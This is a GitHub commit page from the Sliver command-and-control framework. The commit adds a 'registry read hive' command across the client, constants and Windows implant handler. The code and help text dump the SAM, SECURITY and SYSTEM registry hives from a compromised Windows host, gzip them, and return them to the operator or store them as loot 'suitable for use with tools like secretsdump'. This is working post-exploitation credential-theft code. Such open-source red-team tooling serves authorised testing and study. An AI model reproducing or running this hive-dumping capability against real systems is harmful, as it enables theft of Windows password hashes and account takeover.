Skip to content

Commit

Permalink
Merge pull request #1559 from BishopFox/windows-dumpkey
Browse files Browse the repository at this point in the history
Adding the `registry read hive` command
  • Loading branch information
rkervella authored Jan 17, 2024
2 parents 49a095d + 58916d4 commit d9db575
Show file tree
Hide file tree
Showing 16 changed files with 2,172 additions and 1,635 deletions.
53 changes: 37 additions & 16 deletions client/command/help/long-help.go
Original file line number Diff line number Diff line change
Expand Up @@ -79,22 +79,23 @@ var (
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,

consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
consts.ServicesStr: servicesHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.RegistryReadStr + consts.RegistryReadHiveStr: regReadHiveHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
consts.ServicesStr: servicesHelp,

// Loot
consts.LootStr: lootHelp,
Expand Down Expand Up @@ -574,6 +575,26 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`

regReadHiveHelp = `[[.Bold]]Command:[[.Normal]] registry read hive [name]
[[.Bold]]About:[[.Normal]] Read the contents of a registry hive into a binary file
[[.Bold]]Example:[[.Normal]] registry read hive --hive HKLM --save SAM.save SAM
This command reads the data from a specified registry hive into a binary file, suitable for use with tools like secretsdump.
The specified hive must be relative to a root hive (such as HKLM or HKCU). For example, if you want to read the SAM hive, the
root hive is HKLM, and the specified hive is SAM.
This command requires that the process has or can get the SeBackupPrivilege privilege. If you want to dump the SAM, SECURITY, and
SYSTEM hives, your process must be running with High integrity (i.e. running as SYSTEM).
Supported root hives are:
- HKEY_LOCAL_MACHINE (HKLM, default)
- HKEY_CURRENT_USER (HKCU)
- HKEY_CURRENT_CONFIG (HKCC)
- HKEY_PERFORMANCE_DATA (HKPD)
- HKEY_USERS (HKU)
- HKEY_CLASSES_ROOT (HKCR)
The root hive must be specified using its abbreviation, such as HKLM, and not its full name.
This command will only run against the local machine.
`

pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
Expand Down
5 changes: 5 additions & 0 deletions client/command/loot/remote.go
Original file line number Diff line number Diff line change
Expand Up @@ -203,6 +203,11 @@ func LootText(text string, lootName string, lootFileName string, fileType client
SendLootMessage(lootMessage, con)
}

func LootBinary(data []byte, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverClient) {
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, data)
SendLootMessage(lootMessage, con)
}

// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
Expand Down
18 changes: 18 additions & 0 deletions client/command/registry/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,24 @@ func Commands(con *console.SliverClient) []*cobra.Command {
})
carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path"))

registryReadHiveCmd := &cobra.Command{
Use: consts.RegistryReadHiveStr,
Short: "Read a hive into a binary file",
Long: help.GetHelpFor([]string{consts.RegistryReadStr + consts.RegistryReadHiveStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
RegReadHiveCommand(cmd, con, args)
},
}
flags.Bind("", false, registryReadHiveCmd, func(f *pflag.FlagSet) {
f.StringP("hive", "H", "HKLM", "root registry hive")
f.StringP("save", "s", "", "location to store data, required if not looting")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
})
registryReadCmd.AddCommand(registryReadHiveCmd)

registryWriteCmd := &cobra.Command{
Use: consts.RegistryWriteStr,
Short: "Write values to the Windows registry",
Expand Down
123 changes: 123 additions & 0 deletions client/command/registry/reg-read.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,15 +21,19 @@ package registry
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"

"google.golang.org/protobuf/proto"

"github.com/spf13/cobra"

"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)

var validHives = []string{
Expand Down Expand Up @@ -92,6 +96,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {

hostname, _ := cmd.Flags().GetString("hostname")
hive, _ := cmd.Flags().GetString("hive")
hive = strings.ToUpper(hive)
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
Expand Down Expand Up @@ -153,3 +158,121 @@ func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) {
}
con.Println(regRead.Value)
}

func writeHiveDump(data []byte, encoder string, fileName string, saveLoot bool, lootName string, lootType string, lootFileName string, con *console.SliverClient) {
var rawData []byte
var err error

if encoder == "gzip" {
rawData, err = new(encoders.Gzip).Decode(data)
if err != nil {
con.PrintErrorf("Could not decode gzip data: %s\n", err)
return
}
} else if encoder == "" {
rawData = data
} else {
con.PrintErrorf("Cannot decode registry hive data: unknown encoder %s\n", encoder)
return
}

if fileName != "" {
err = os.WriteFile(fileName, rawData, 0600)
if err != nil {
con.PrintErrorf("Could not write registry hive data to %s: %s\n", fileName, err)
// We are not going to return here because if the user wants to loot, we may still be able to do that.
} else {
con.PrintSuccessf("Successfully wrote hive data to %s\n", fileName)
}
}

if saveLoot {
fileType := loot.ValidateLootFileType(lootType, rawData)
loot.LootBinary(rawData, lootName, lootFileName, fileType, con)
}
}

func RegReadHiveCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}

rootHive, _ := cmd.Flags().GetString("hive")
rootHive = strings.ToUpper(rootHive)
if err := checkHive(rootHive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveLoot, _ := cmd.Flags().GetBool("loot")
outputFileName, _ := cmd.Flags().GetString("save")
if outputFileName == "" && !saveLoot {
con.PrintErrorf("You must provide an output file name")
return
}

if len(args) == 0 || (len(args) > 0 && args[0] == "") {
con.PrintErrorf("You must provide a registry hive to dump")
return
}
requestedHive := args[0]

lootName := ""
lootType := ""
lootFileName := ""
if saveLoot {
lootName, _ = cmd.Flags().GetString("name")
lootType, _ = cmd.Flags().GetString("file-type")
// Get implant name
implantName := ""
if session == nil {
implantName = beacon.Name
} else {
implantName = session.Name
}
if lootName == "" {
lootName = fmt.Sprintf("Registry hive %s\\%s on %s", rootHive, requestedHive, implantName)
}
if outputFileName != "" {
lootFileName = filepath.Base(outputFileName)
} else {
requestedHiveForFileName := strings.ReplaceAll(requestedHive, "/", "_")
requestedHiveForFileName = strings.ReplaceAll(requestedHiveForFileName, "\\", "_")
lootFileName = fmt.Sprintf("%s_%s_%s", implantName, rootHive, requestedHiveForFileName)
}
}

if strings.Contains(requestedHive, "/") {
requestedHive = strings.ReplaceAll(requestedHive, "/", "\\")
}

hiveDump, err := con.Rpc.RegistryReadHive(context.Background(), &sliverpb.RegistryReadHiveReq{
RootHive: rootHive,
RequestedHive: requestedHive,
Request: con.ActiveTarget.Request(cmd),
})

if err != nil {
con.PrintErrorf("%s\n", err)
return
}

if hiveDump.Response != nil && hiveDump.Response.Async {
con.AddBeaconCallback(hiveDump.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, hiveDump)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
})
con.PrintAsyncResponse(hiveDump.Response)
} else {
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
}
}
1 change: 1 addition & 0 deletions client/constants/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -261,6 +261,7 @@ const (
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
RegistryReadHiveStr = "hive"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
Expand Down
23 changes: 23 additions & 0 deletions implant/sliver/handlers/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -73,6 +73,7 @@ var (
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
sliverpb.MsgRegistryReadHiveReq: regReadHiveHandler,

// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
Expand Down Expand Up @@ -754,6 +755,28 @@ func regValuesListHandler(data []byte, resp RPCResponse) {
resp(data, err)
}

func regReadHiveHandler(data []byte, resp RPCResponse) {
hiveReq := &sliverpb.RegistryReadHiveReq{}
err := proto.Unmarshal(data, hiveReq)
if err != nil {
return
}
hiveResp := &sliverpb.RegistryReadHive{
Response: &commonpb.Response{},
}
hiveData, err := registry.ReadHive(hiveReq.RootHive, hiveReq.RequestedHive)
if err != nil {
hiveResp.Response.Err = err.Error()
}
// We might not have a fatal error, so whatever the result (nil or not), assign .Data to it
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, hiveData)
hiveResp.Data = gzipData.Bytes()
hiveResp.Encoder = "gzip"
data, err = proto.Marshal(hiveResp)
resp(data, err)
}

func getPrivsHandler(data []byte, resp RPCResponse) {
createReq := &sliverpb.GetPrivsReq{}

Expand Down
Loading

0 comments on commit d9db575

Please sign in to comment.